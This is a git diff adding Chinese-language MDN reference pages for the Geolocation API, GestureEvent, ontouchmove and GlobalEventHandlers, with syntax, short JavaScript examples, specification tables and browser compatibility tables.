+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatGeckoMobile("4")}}1.0.1{{CompatUnknown()}}10.60
+ Removed in 15.0
+ Reintroduced in 16.0
{{CompatUnknown()}}
+
+ +

Gecko 注释

+ +

Firefox 支持根据您的 Wi-Fi 信息通过谷歌定位服务来定位。在 Firefox 和 Google 的数据交互中,Wi-Fi 接入点信息、访问令牌(类似于一个两周过期的 cookie)和用户的 IP 地址会被发送。关于数据使用情况,请查看 Mozilla 的隐私声明和 Google 的隐私声明

+ +

Firefox 3.6 (Gecko 1.9.2) 增加了 Linux 上对 GPSD (GPS daemon) 服务定位的支持。

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/geolocation/watchposition/index.html b/files/zh-cn/web/api/geolocation/watchposition/index.html new file mode 100644 index 0000000000..e2170f685f --- /dev/null +++ b/files/zh-cn/web/api/geolocation/watchposition/index.html @@ -0,0 +1,145 @@ +--- +title: Geolocation.watchPosition() +slug: Web/API/Geolocation/watchPosition +translation_of: Web/API/Geolocation/watchPosition +--- +

{{ APIref("Geolocation API") }}

+ +

Geolocation.watchPosition() 用于注册监听器,在设备的地理位置发生改变的时候自动被调用。也可以选择特定的错误处理函数。

+ +

该方法会返回一个 ID,如要取消监听可以通过  {{domxref("Geolocation.clearWatch()")}} 传入该 ID 实现取消的目的。

+ +

语法

+ +
id = navigator.geolocation.watchPosition(success[, error[, options]])
+ +

参数

+ +
+
success
+
成功时候的回调函数, 同时传入一个 {{domxref("Position")}} 对象当作参数。
+
error {{optional_inline}}
+
失败时候的回调函数,可选, 会传入一个 {{domxref("PositionError")}} 对象当作参数。
+
options {{optional_inline}}
+
一个可选的 {{domxref("PositionOptions")}} 对象。
+
+ +

示例

+ +
var id, target, options;
+
+function success(pos) {
+  var crd = pos.coords;
+
+  if (target.latitude === crd.latitude && target.longitude === crd.longitude) {
+    console.log('Congratulations, you reached the target');
+    navigator.geolocation.clearWatch(id);
+  }
+}
+
+function error(err) {
+  console.warn('ERROR(' + err.code + '): ' + err.message);
+}
+
+target = {
+  latitude : 0,
+  longitude: 0
+};
+
+options = {
+  enableHighAccuracy: false,
+  timeout: 5000,
+  maximumAge: 0
+};
+
+id = navigator.geolocation.watchPosition(success, error, options);
+
+ +

注意

+ +

如果你的应用程序运行在 firefox OS 上,请参考下 geolocation wake lock ,以便在屏幕关闭的时候,程序可以运行在后台以继续监听位置的变化。

+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态说明
{{SpecName('Geolocation', '#watch-position', 'Geolocation.watchPosition()')}}{{Spec2('Geolocation')}}Initial specification.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatGeckoDesktop("1.9.1")}}910.60
+ Removed in 15.0
+ Reintroduced in 16.0
5
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatGeckoMobile("4")}}{{CompatUnknown()}}10.60{{CompatUnknown()}}
+
+ +

 

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/geolocationcoordinates/index.html b/files/zh-cn/web/api/geolocationcoordinates/index.html new file mode 100644 index 0000000000..7a17204abf --- /dev/null +++ b/files/zh-cn/web/api/geolocationcoordinates/index.html @@ -0,0 +1,116 @@ +--- +title: Coordinates +slug: Web/API/GeolocationCoordinates +tags: + - API + - Geolocation API +translation_of: Web/API/GeolocationCoordinates +--- +
{{APIRef("Geolocation API")}}
+ +

Coordinates (坐标)接口表示设备在地球上的位置和海拔,以及计算这些属性的精确度。

+ +

属性

+ +

The Coordinates interface doesn't inherit any property.

+ +
+
{{domxref("Coordinates.latitude")}} {{readonlyInline}}
+
Returns a double representing the position's latitude in decimal degrees.
+
{{domxref("Coordinates.longitude")}} {{readonlyInline}}
+
Returns a double representing the position's longitude in decimal degrees.
+
{{domxref("Coordinates.altitude")}} {{readonlyInline}}
+
Returns a double representing the position's altitude in metres, relative to sea level. This value can be null if the implementation cannot provide the data.
+
{{domxref("Coordinates.accuracy")}} {{readonlyInline}}
+
Returns a double representing the accuracy of the latitude and longitude properties, expressed in meters.
+
{{domxref("Coordinates.altitudeAccuracy")}} {{readonlyInline}}
+
Returns a double representing the accuracy of the altitude expressed in meters. This value can be null.
+
{{domxref("Coordinates.heading")}} {{readonlyInline}}
+
Returns a double representing the direction in which the device is traveling. This value, specified in degrees, indicates how far off from heading due north the device is. 0 degrees represents true true north, and the direction is determined clockwise (which means that east is 90 degrees and west is 270 degrees). If speed is 0, heading is NaN. If the device is unable to provide heading information, this value is null.
+
{{domxref("Coordinates.speed")}} {{readonlyInline}}
+
Returns a double representing the velocity of the device in meters per second. This value can be null.
+
+ +

方法

+ +

The Coordinates interface neither implements, nor inherits any method.

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation', '#coordinates', 'Coordinates')}}{{Spec2('Geolocation')}}Initial specification.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatGeckoDesktop("1.9.1")}}910.60
+ Removed in 15.0
+ Reintroduced in 16.0
5
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatGeckoMobile("4")}}{{CompatUnknown()}}10.60{{CompatUnknown()}}
+
+ +

请参见

+ + diff --git a/files/zh-cn/web/api/geolocationcoordinates/latitude/index.html b/files/zh-cn/web/api/geolocationcoordinates/latitude/index.html new file mode 100644 index 0000000000..f49c927a07 --- /dev/null +++ b/files/zh-cn/web/api/geolocationcoordinates/latitude/index.html @@ -0,0 +1,45 @@ +--- +title: Coordinates.latitude +slug: Web/API/GeolocationCoordinates/latitude +translation_of: Web/API/GeolocationCoordinates/latitude +--- +
{{securecontext_header}}{{APIRef("Geolocation API")}}
+ +

Coordinates.latitude 只读属性,十进制双精度浮点数来表示纬度坐标

+ +

语法

+ +
lat = coordinates.latitude
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态说明
{{SpecName('Geolocation', '#lat', 'Coordinates.latitude')}}{{Spec2('Geolocation')}}Initial specification.
+ +

浏览器兼容

+ + + +

{{Compat("api.Coordinates.latitude")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/geolocationposition/coords/index.html b/files/zh-cn/web/api/geolocationposition/coords/index.html new file mode 100644 index 0000000000..a2629b1e7c --- /dev/null +++ b/files/zh-cn/web/api/geolocationposition/coords/index.html @@ -0,0 +1,52 @@ +--- +title: Position.coords +slug: Web/API/GeolocationPosition/coords +tags: + - API + - Geolocation API + - Position + - Property +translation_of: Web/API/GeolocationPosition/coords +--- +
{{APIRef("Geolocation API")}}
+ +

Position.coords 是一个{{domxref("Coordinates")}} 对象的只读属性 , 表示地理状态:它包括位置,地球上的经度和纬度,相关的海拔和速度,可以重新组合内部返回的这些值,它还包含有关这些值的准确信息。

+ +

语法

+ +
coord = position.coords
+
+ +

标准

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation', '#coords', 'Position.coords')}}{{Spec2('Geolocation')}}Initial specification.
+ +

浏览器兼容性

+ +

 

+ +
+

{{Compat("api.Position.coords")}}

+
+ +

请参见

+ + diff --git a/files/zh-cn/web/api/geolocationposition/index.html b/files/zh-cn/web/api/geolocationposition/index.html new file mode 100644 index 0000000000..6cc0e57712 --- /dev/null +++ b/files/zh-cn/web/api/geolocationposition/index.html @@ -0,0 +1,108 @@ +--- +title: Position +slug: Web/API/GeolocationPosition +tags: + - API + - 位置 + - 地理位置API +translation_of: Web/API/GeolocationPosition +--- +
{{APIRef("Geolocation API")}}
+ +

Position  接口表示在给定的时间的相关设备的位置。这个位置,用一个{{domxref("Coordinates")}}对象表示,包括设备在地球上的二维位置, 但也可以包括设备的海拔和速度。      

+ +

属性

+ +

Position接口没有继承任何属性。

+ +
+
{{domxref("Position.coords")}} {{readonlyInline}}
+
返回一个定义了当前位置的{{domxref("Coordinates")}} 对象.
+
{{domxref("Position.timestamp")}} {{readonlyInline}}
+
返回一个时间戳{{domxref("DOMTimeStamp")}}, 这个时间戳表示获取到的位置的时间。
+
+ +

方法

+ +

Position 接口没有实现也没有继承任何方法。

+ +

标准

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation', '#position', 'Position')}}{{Spec2('Geolocation')}}Initial specification.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
特性ChromeFirefox (Gecko)Internet ExplorerOperaSafari
基础支持5{{CompatGeckoDesktop("1.9.1")}}9 +

10.60
+ 15.0取消支持16.0重新支持

+
5
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
特性AndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
基础支持{{CompatUnknown()}}{{CompatUnknown()}}{{CompatGeckoMobile("4")}}{{CompatUnknown()}}10.60{{CompatUnknown()}}
+
+ +

参阅

+ + diff --git "a/files/zh-cn/web/api/geolocationposition/\350\216\267\345\217\226\350\257\245\344\275\215\347\275\256\346\227\266\347\232\204\346\227\266\351\227\264\346\210\263/index.html" "b/files/zh-cn/web/api/geolocationposition/\350\216\267\345\217\226\350\257\245\344\275\215\347\275\256\346\227\266\347\232\204\346\227\266\351\227\264\346\210\263/index.html" new file mode 100644 index 0000000000..e4c731f868 --- /dev/null +++ "b/files/zh-cn/web/api/geolocationposition/\350\216\267\345\217\226\350\257\245\344\275\215\347\275\256\346\227\266\347\232\204\346\227\266\351\227\264\346\210\263/index.html" @@ -0,0 +1,49 @@ +--- +title: GeolocationPosition.timestamp +slug: Web/API/GeolocationPosition/获取该位置时的时间戳 +translation_of: Web/API/GeolocationPosition/timestamp +--- +
{{securecontext_header}}{{APIRef("Geolocation API")}}
+ +

The GeolocationPosition.timestamp read-only property returns a {{domxref("DOMTimeStamp")}} object, represents the date and the time of the creation of the {{domxref("GeolocationPosition")}} object it belongs to. The precision is to the millisecond.

+ +

Syntax

+ +
var timestamp = geolocationPositionInstance.timestamp
+
+ +

Value

+ +

A {{domxref("DOMTimeStamp")}} object instance.

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation', '#dom-geolocationposition-timestamp', 'GeolocationPosition.timestamp')}}{{Spec2('Geolocation')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.GeolocationPosition.timestamp")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/geolocationpositionerror/index.html b/files/zh-cn/web/api/geolocationpositionerror/index.html new file mode 100644 index 0000000000..ce69f4eb77 --- /dev/null +++ b/files/zh-cn/web/api/geolocationpositionerror/index.html @@ -0,0 +1,135 @@ +--- +title: PositionError +slug: Web/API/GeolocationPositionError +tags: + - API + - Geolocation API +translation_of: Web/API/GeolocationPositionError +--- +

{{APIRef("Geolocation API")}}

+ +

PositionError 接口表示当定位设备位置时发生错误的原因。

+ +

属性

+ +

PositionError 接口没有继承任何属性。

+ +
+
{{domxref("PositionError.code")}} {{readonlyInline}}
+
返回无符号的、简短的错误码。下列值是可能的: + + + + + + + + + + + + + + + + + + + + + + + +
相关联的常量描述
1PERMISSION_DENIED地理位置信息的获取失败,因为该页面没有获取地理位置信息的权限。
2POSITION_UNAVAILABLE +

地理位置获取失败,因为至少有一个内部位置源返回一个内部错误。

+
3TIMEOUT +

获取地理位置超时,通过定义{{domxref("PositionOptions.timeout")}} 来设置获取地理位置的超时时长。

+
+
+
{{domxref("PositionError.message")}} {{readonlyInline}}
+
返回一个开发者可以理解的 {{domxref("DOMString")}} 来描述错误的详细信息。
+
+ +

方法

+ +

PositionError 接口没有实现也没有继承任何方法。

+ +

标准

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Geolocation', '#positionerror', 'PositionError')}}{{Spec2('Geolocation')}}Initial specification.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support5{{CompatGeckoDesktop("1.9.1")}}910.60
+ Removed in 15.0
+ Reintroduced in 16.0
5
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatGeckoMobile("4")}}{{CompatUnknown()}}10.60{{CompatUnknown()}}
+
+ +

请参见

+ + diff --git a/files/zh-cn/web/api/gestureevent/index.html b/files/zh-cn/web/api/gestureevent/index.html new file mode 100644 index 0000000000..80ad1fc390 --- /dev/null +++ b/files/zh-cn/web/api/gestureevent/index.html @@ -0,0 +1,68 @@ +--- +title: GestureEvent +slug: Web/API/GestureEvent +translation_of: Web/API/GestureEvent +--- +

{{APIRef("DOM Events")}}

+ +

{{Non-standard_header()}}

+ +

GestureEvent 是 WebKit 的专有接口,提供多点触控的信息。这个接口的事件包括 {{event("gesturestart")}}, {{event("gesturechange")}} 和 {{event("gestureend")}}.

+ +

GestureEvent 继承自 {{domxref("UIEvent")}},后者又继承自{{domxref("Event")}}。

+ +

构造函数

+ +
+
{{domxref("GestureEvent.GestureEvent", "GestureEvent()")}}
+
Creates a GestureEvent object.
+
+ +

属性

+ +

This interface also inherits properties of its parents, {{domxref("UIEvent")}} and {{domxref("Event")}}.

+ +
+
{{domxref("GestureEvent.rotation")}} {{readonlyinline}}
+
Change in rotation (in degrees) since the event's beginning. Positive values indicate clockwise rotation; negative values indicate anticlockwise rotation. Initial value: 0.0
+
{{domxref("GestureEvent.scale")}} {{readonlyinline}}
+
Distance between two digits since the event's beginning. Expressed as a floating-point multiple of the initial distance between the digits at the beginning of the gesture. Values below 1.0 indicate an inward pinch (zoom out). Values above 1.0 indicate an outward unpinch (zoom in). Initial value: 1.0
+
+ +

方法

+ +

This interface also inherits methods of its parents, {{domxref("UIEvent")}} and {{domxref("Event")}}.

+ +
+
{{domxref("GestureEvent.initGestureEvent()")}}
+
Initializes the value of an GestureEvent. If the event has already being dispatched, this method does nothing.
+
+ +

手势事件类型

+ + + +

规范

+ +

不属于任何规范。苹果在Safari Developer Library中描述了这个接口。

+ +

Browser compatibility

+ +


+ {{Compat("api.GestureEvent")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/globaleventhanders.ontouchmove/index.html b/files/zh-cn/web/api/globaleventhandlers/globaleventhanders.ontouchmove/index.html new file mode 100644 index 0000000000..6babcd24f3 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/globaleventhanders.ontouchmove/index.html @@ -0,0 +1,124 @@ +--- +title: GlobalEventHandlers.ontouchmove +slug: Web/API/GlobalEventHandlers/GlobalEventHanders.ontouchmove +translation_of: Web/API/GlobalEventHandlers/ontouchmove +--- +
{{ApiRef("HTML DOM")}}
+ +

A {{domxref("GlobalEventHandlers","global event handler")}} for the {{event("touchmove")}} event.

+ +
+

注意:这个属性还没有正式的标准。它在 {{SpecName('Touch Events 2')}} {{Spec2('Touch Events 2')}} 说明书里被规定且不在 {{SpecName('Touch Events')}} {{Spec2('Touch Events')}}中。这个属性没有被广泛应用。

+
+ +

Syntax

+ +
var moveHandler = someElement.ontouchmove;
+
+ +

Return value

+ +
+
moveHandler
+
The touchmove event handler for element someElement.
+
+ +

Example

+ +

This example shows two ways to use ontouchmove to set an element's touchmove event handler.

+ +
<html>
+<script>
+function moveTouch(ev) {
+ // Process the event
+}
+function init() {
+ var el=document.getElementById("target1");
+ el.ontouchmove = moveTouch;
+}
+</script>
+<body onload="init();">
+<div id="target1"> Touch me ... </div>
+<div id="target2" ontouchmove="moveTouch(event)"> Touch me ... </div>
+</body>
+</html>
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Touch Events 2','#widl-GlobalEventHandlers-ontouchmove')}}{{Spec2('Touch Events 2')}}Non-stable version.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support     
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari Mobile
Basic support        
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/globaleventhandlers/index.html b/files/zh-cn/web/api/globaleventhandlers/index.html new file mode 100644 index 0000000000..3ddd4d9a93 --- /dev/null +++ b/files/zh-cn/web/api/globaleventhandlers/index.html @@ -0,0 +1,489 @@ +--- +title: GlobalEventHandlers +slug: Web/API/GlobalEventHandlers +translation_of: Web/API/GlobalEventHandlers +--- +
+
{{ ApiRef("HTML DOM") }}
+
+ +

GlobalEventHandlers 描述了一系列web worker的事件接口 {{domxref("HTMLElement")}}, {{domxref("Document")}}, {{domxref("Window")}}, 或 {{domxref("WorkerGlobalScope")}}。这里面的每一个接口都可以添加更多的事件句柄。

+ +
+

Note:GlobalEventHandlers 是一个混入对象(mixin)而不是一个真正的接口,所以无法创建直接基于GlobalEventHandlers 的对象。

+
+ +

属性

+ +

除了下面的事件句柄外,此接口不包含任何其他属性。

+ +

Event handlers

+ +

这些事件定义在 {{domxref("GlobalEventHandlers")}} 中, 并被混入和实现在{{domxref("HTMLElement")}}, {{domxref("Document")}}, {{domxref("Window")}}上,任意html元素、document对象,window对象上均可以使用它提供的属性, 即时是全局的{{domxref("WorkerGlobalScope")}}。

+ +
+
{{domxref("GlobalEventHandlers.onabort")}}
+
这是一个事件句柄 {{domxref("EventHandler")}} ,当停止{{event("abort")}} 事件触发时会被调用。
+
{{domxref("GlobalEventHandlers.onanimationcancel")}} {{Non-standard_inline}}
+
这是一个事件句柄 {{domxref("EventHandler")}} ,当 CSS 动画取消{{event("animationcancel")}}事件触发时被调用,这表示某个正在执行的CSS动画被取消了。
+
{{domxref("GlobalEventHandlers.onanimationend")}} {{Non-standard_inline}}
+
这是一个事件句柄 {{domxref("EventHandler")}} ,当 CSS 动画播放完成{{event("animationend")}} 事件触发时被调用,这表示某个CSS动画已经播放完成了。
+
{{domxref("GlobalEventHandlers.onblur")}}
+
这是一个事件句柄 {{domxref("EventHandler")}} ,当失去焦点 {{event("blur")}} 事件触发时会被调用。
+
{{domxref("GlobalEventHandlers.onerror")}}
+
这是一个错误发生时的事件句柄 {{domxref("EventHandler")}} ,当发生错误{{event("error")}} 事件时会被调用。
+
{{domxref("GlobalEventHandlers.onfocus")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("focus")}} event is raised.
+
{{domxref("GlobalEventHandlers.oncancel")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("cancel")}} event is raised.
+
{{domxref("GlobalEventHandlers.oncanplay")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("canplay")}} event is raised.
+
{{domxref("GlobalEventHandlers.oncanplaythrough")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("canplaythrough")}} event is raised.
+
{{domxref("GlobalEventHandlers.onchange")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("change")}} event is raised.
+
{{domxref("GlobalEventHandlers.onclick")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("click")}} event is raised.
+
{{domxref("GlobalEventHandlers.onclose")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("close")}} event is raised.
+
{{domxref("GlobalEventHandlers.oncontextmenu")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("contextmenu")}} event is raised.
+
{{domxref("GlobalEventHandlers.oncuechange")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("cuechange")}} event is raised.
+
{{domxref("GlobalEventHandlers.ondblclick")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dblclick")}} event is raised.
+
{{domxref("GlobalEventHandlers.ondrag")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("drag")}} event is raised.
+
{{domxref("GlobalEventHandlers.ondragend")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragend")}} event is raised.
+
{{domxref("GlobalEventHandlers.ondragenter")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragenter")}} event is raised.
+
{{domxref("GlobalEventHandlers.ondragexit")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragexit")}} event is raised.
+
{{domxref("GlobalEventHandlers.ondragleave")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragleave")}} event is raised.
+
{{domxref("GlobalEventHandlers.ondragover")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragover")}} event is raised.
+
{{domxref("GlobalEventHandlers.ondragstart")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("dragstart")}} event is raised.
+
{{domxref("GlobalEventHandlers.ondrop")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("drop")}} event is raised.
+
{{domxref("GlobalEventHandlers.ondurationchange")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("durationchange")}} event is raised.
+
{{domxref("GlobalEventHandlers.onemptied")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("emptied")}} event is raised.
+
{{domxref("GlobalEventHandlers.onended")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("ended")}} event is raised.
+
{{domxref("GlobalEventHandlers.oninput")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("input")}} event is raised.
+
{{domxref("GlobalEventHandlers.oninvalid")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("invalid")}} event is raised.
+
{{domxref("GlobalEventHandlers.onkeydown")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keydown")}} event is raised.
+
{{domxref("GlobalEventHandlers.onkeypress")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keypress")}} event is raised.
+
{{domxref("GlobalEventHandlers.onkeyup")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("keyup")}} event is raised.
+
{{domxref("GlobalEventHandlers.onload")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("load")}} event is raised.
+
{{domxref("GlobalEventHandlers.onloadeddata")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadeddata")}} event is raised.
+
{{domxref("GlobalEventHandlers.onloadedmetadata")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadedmetadata")}} event is raised.
+
{{domxref("GlobalEventHandlers.onloadstart")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("loadstart")}} event is raised.
+
{{domxref("GlobalEventHandlers.onmousedown")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousedown")}} event is raised.
+
{{domxref("GlobalEventHandlers.onmouseenter")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseenter")}} event is raised.
+
{{domxref("GlobalEventHandlers.onmouseleave")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseleave")}} event is raised.
+
{{domxref("GlobalEventHandlers.onmousemove")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousemove")}} event is raised.
+
{{domxref("GlobalEventHandlers.onmouseout")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseout")}} event is raised.
+
{{domxref("GlobalEventHandlers.onmouseover")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseover")}} event is raised.
+
{{domxref("GlobalEventHandlers.onmouseup")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mouseup")}} event is raised.
+
{{domxref("GlobalEventHandlers.onmousewheel")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("mousewheel")}} event is raised.
+
{{domxref("GlobalEventHandler.onmozfullscreenchange")}} {{non-standard_inline}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("fullscreenchange")}} event is raised.
+
{{domxref("GlobalEventHandler.onmozfullscreenerror")}} {{non-standard_inline}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("fullscreenerror")}} event is raised.
+
{{domxref("GlobalEventHandlers.onpause")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pause")}} event is raised.
+
{{domxref("GlobalEventHandlers.onplay")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("play")}} event is raised.
+
{{domxref("GlobalEventHandlers.onplaying")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("playing")}} event is raised.
+
{{domxref("GlobalEventHandlers.onpointerdown")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerdown")}} event is raised.
+
{{domxref("GlobalEventHandlers.onpointermove")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointermove")}} event is raised.
+
{{domxref("GlobalEventHandlers.onpointerup")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerup")}} event is raised.
+
{{domxref("GlobalEventHandlers.onpointercancel")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointercancel")}} event is raised.
+
{{domxref("GlobalEventHandlers.onpointerover")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerover")}} event is raised.
+
{{domxref("GlobalEventHandlers.onpointerout")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerout")}} event is raised.
+
{{domxref("GlobalEventHandlers.onpointerenter")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerevent")}} event is raised.
+
{{domxref("GlobalEventHandlers.onpointerleave")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerleave")}} event is raised.
+
{{domxref("GlobalEventHandlers.onpointerlockchange")}} {{experimental_inline}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerlockchange")}} event is raised.
+
{{domxref("GlobalEventHandlers.onpointerlockerror")}} {{experimental_inline}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("pointerlockerror")}} event is raised.
+
{{domxref("GlobalEventHandlers.onprogress")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("progress")}} event is raised.
+
{{domxref("GlobalEventHandlers.onratechange")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("ratechange")}} event is raised.
+
{{domxref("GlobalEventHandlers.onreset")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("reset")}} event is raised.
+
{{domxref("GlobalEventHandlers.onscroll")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("scroll")}} event is raised.
+
{{domxref("GlobalEventHandlers.onseeked")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("seeked")}} event is raised.
+
{{domxref("GlobalEventHandlers.onseeking")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("seeking")}} event is raised.
+
{{domxref("GlobalEventHandlers.onselect")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("select")}} event is raised.
+
{{domxref("GlobalEventHandlers.onshow")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("show")}} event is raised.
+
{{domxref("GlobalEventHandlers.onsort")}} {{experimental_inline}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("sort")}} event is raised.
+
{{domxref("GlobalEventHandlers.onstalled")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("stalled")}} event is raised.
+
{{domxref("GlobalEventHandlers.onsubmit")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("submit")}} event is raised.
+
{{domxref("GlobalEventHandlers.onsuspend")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("suspend")}} event is raised.
+
{{domxref("GlobalEventHandlers.ontimeupdate")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("timeupdate")}} event is raised.
+
{{domxref("GlobalEventHandlers.onvolumechange")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("volumechange")}} event is raised.
+
{{domxref("GlobalEventHandlers.onwaiting")}}
+
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("waiting")}} event is raised.
+
+ +

Methods

+ +

This interface defines no method.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Pointer Lock', '#extensions-to-the-document-interface', 'Extension of Document')}}{{Spec2('Pointer Lock')}}Adds onpointerlockchange and onpointerlockerror on {{domxref("Document")}}. It is experimentally implemented on GlobalEventHandlers.
{{SpecName('HTML WHATWG', '#globaleventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName("HTML5.1")}}.
{{SpecName('HTML5.1', '#globaleventhandlers', 'GlobalEventHandlers')}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName("HTML WHATWG")}}. Added onsort since the {{SpecName("HTML 5")}} snapshot.
